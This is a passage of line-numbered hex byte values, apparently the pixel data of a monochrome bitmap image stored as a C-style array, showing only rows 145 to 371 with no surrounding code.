145 | 0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
146 | 0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,
147 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,
148 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
149 | 0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
150 | 0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
151 | 0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,
152 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,
153 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
154 | 0x00,0x00,0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
155 | 0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
156 | 0xc0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,
157 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0xff,0xff,0xff,0xff,
158 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
159 | 0x00,0x00,0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
160 | 0xff,0xff,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
161 | 0x00,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,
162 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0xff,0xff,0xff,
163 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
164 | 0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
165 | 0xff,0xff,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
166 | 0x00,0xf8,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x03,0x00,0x00,
167 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,
168 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
169 | 0x00,0x00,0x00,0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
170 | 0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
171 | 0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f,0x00,0x00,0x00,
172 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,
173 | 0xff,0xff,0xff,0xff,0xff,0xff,0x7f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
174 | 0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
175 | 0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
176 | 0x00,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x01,0x00,0x00,
177 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0xff,0xff,0xff,0xff,
178 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
179 | 0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
180 | 0xff,0xff,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
181 | 0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,
182 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0xff,0xff,0xff,0xff,
183 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
184 | 0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
185 | 0xff,0xff,0xff,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,
186 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x03,0x00,
187 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,
188 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,
189 | 0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
190 | 0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,
191 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x01,
192 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0xff,0xff,0xff,0xff,0xff,
193 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00,0x00,
194 | 0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
195 | 0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0xff,
196 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f,
197 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,
198 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,
199 | 0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
200 | 0xff,0xff,0xff,0xff,0xff,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff,
201 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
202 | 0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,
203 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x0f,0x00,0x00,0x00,0x00,
204 | 0x00,0x00,0x00,0xfe,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
205 | 0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,
206 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
207 | 0x7f,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
208 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x01,0x00,0x00,0x00,
209 | 0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
210 | 0xff,0xff,0xff,0xff,0xff,0xff,0x03,0x00,0x00,0x00,0x00,0x00,0xc0,0xff,0xff,
211 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
212 | 0xff,0x07,0x00,0x00,0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
213 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x0f,0x00,0x00,0x00,
214 | 0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
215 | 0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0xff,
216 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
217 | 0xff,0x7f,0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
218 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x00,0x00,0x00,
219 | 0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
220 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x01,0x00,0x00,0x00,0x00,0xfe,0xff,0xff,
221 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
222 | 0xff,0xff,0x03,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
223 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,
224 | 0x00,0x00,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
225 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x0f,0x00,0x00,0x00,0x80,0xff,0xff,0xff,
226 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
227 | 0xff,0xff,0x1f,0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
228 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,
229 | 0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
230 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0xc0,0xff,0xff,0xff,
231 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
232 | 0xff,0xff,0x3f,0x00,0x00,0x00,0xc0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
233 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f,0x00,0x00,
234 | 0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
235 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f,0x00,0x00,0x00,0xe0,0xff,0xff,0xff,
236 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
237 | 0xff,0xff,0xff,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
238 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x00,0x00,
239 | 0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
240 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x01,0x00,0x00,0xf0,0xff,0xff,0xff,
241 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
242 | 0xff,0xff,0xff,0x01,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
243 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x03,0x00,
244 | 0x00,0xf8,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
245 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x03,0x00,0x00,0xfc,0xff,0xff,0xff,
246 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
247 | 0xff,0xff,0xff,0x03,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
248 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,
249 | 0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
250 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0xfc,0xff,0xff,0xff,
251 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
252 | 0xff,0xff,0xff,0x07,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
253 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,
254 | 0x00,0xfe,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
255 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0xfe,0xff,0xff,0xff,
256 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
257 | 0xff,0xff,0xff,0x07,0x00,0x00,0xfe,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
258 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,
259 | 0x00,0xfe,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
260 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0xfe,0xff,0xff,0xff,
261 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
262 | 0xff,0xff,0xff,0x07,0x00,0x00,0xfe,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
263 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,
264 | 0x00,0xfe,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
265 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0xfe,0xff,0xff,0xff,
266 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
267 | 0xff,0xff,0xff,0x03,0x00,0x00,0xfe,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
268 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x03,0x00,
269 | 0x00,0xfe,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
270 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x03,0x00,0x00,0xfc,0xff,0xff,0xff,
271 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
272 | 0xff,0xff,0xff,0x03,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
273 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x03,0x00,
274 | 0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
275 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x01,0x00,0x00,0xf8,0xff,0xff,0xff,
276 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
277 | 0xff,0xff,0xff,0x01,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
278 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x01,0x00,
279 | 0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
280 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,
281 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
282 | 0xff,0xff,0xff,0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
283 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f,0x00,0x00,
284 | 0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
285 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0xc0,0xff,0xff,0xff,
286 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
287 | 0xff,0xff,0x1f,0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
288 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x0f,0x00,0x00,
289 | 0x00,0x00,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
290 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00,0xfe,0xff,0xff,
291 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
292 | 0xff,0xff,0x03,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
293 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0xff,0xff,0xff,0x00,0x00,0x00,
294 | 0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
295 | 0xff,0xff,0xff,0x3f,0xfc,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,
296 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0xf0,
297 | 0xff,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,0xff,
298 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0xc0,0x7f,0x00,0x00,0x00,0x00,
299 | 0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
300 | 0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,
301 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,
302 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,0xff,
303 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,
304 | 0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
305 | 0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,
306 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,
307 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,
308 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,
309 | 0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
310 | 0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,
311 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,
312 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,
313 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,
314 | 0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
315 | 0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,
316 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,
317 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,
318 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,
319 | 0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
320 | 0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,
321 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,
322 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,
323 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,
324 | 0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
325 | 0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,
326 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,
327 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,
328 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,
329 | 0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
330 | 0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,
331 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,
332 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,
333 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,
334 | 0x00,0x00,0x00,0x00,0xfe,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
335 | 0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfe,
336 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,
337 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0xff,0xff,0xff,0xff,0xff,
338 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,
339 | 0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
340 | 0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,
341 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,
342 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0xff,0xff,
343 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,
344 | 0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
345 | 0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xff,
346 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,
347 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff,
348 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,
349 | 0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
350 | 0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xff,
351 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,
352 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff,
353 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,
354 | 0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
355 | 0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,
356 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,
357 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0xff,0xff,
358 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,
359 | 0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
360 | 0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,
361 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,
362 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0xff,0xff,
363 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,
364 | 0x00,0x00,0x00,0x00,0xfe,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
365 | 0xff,0xff,0xff,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfe,
366 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x0f,0x00,
367 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0xff,0xff,0xff,0xff,0xff,
368 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00,0x00,0x00,
369 | 0x00,0x00,0x00,0x00,0xfe,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
370 | 0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,
371 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x03,0x00,
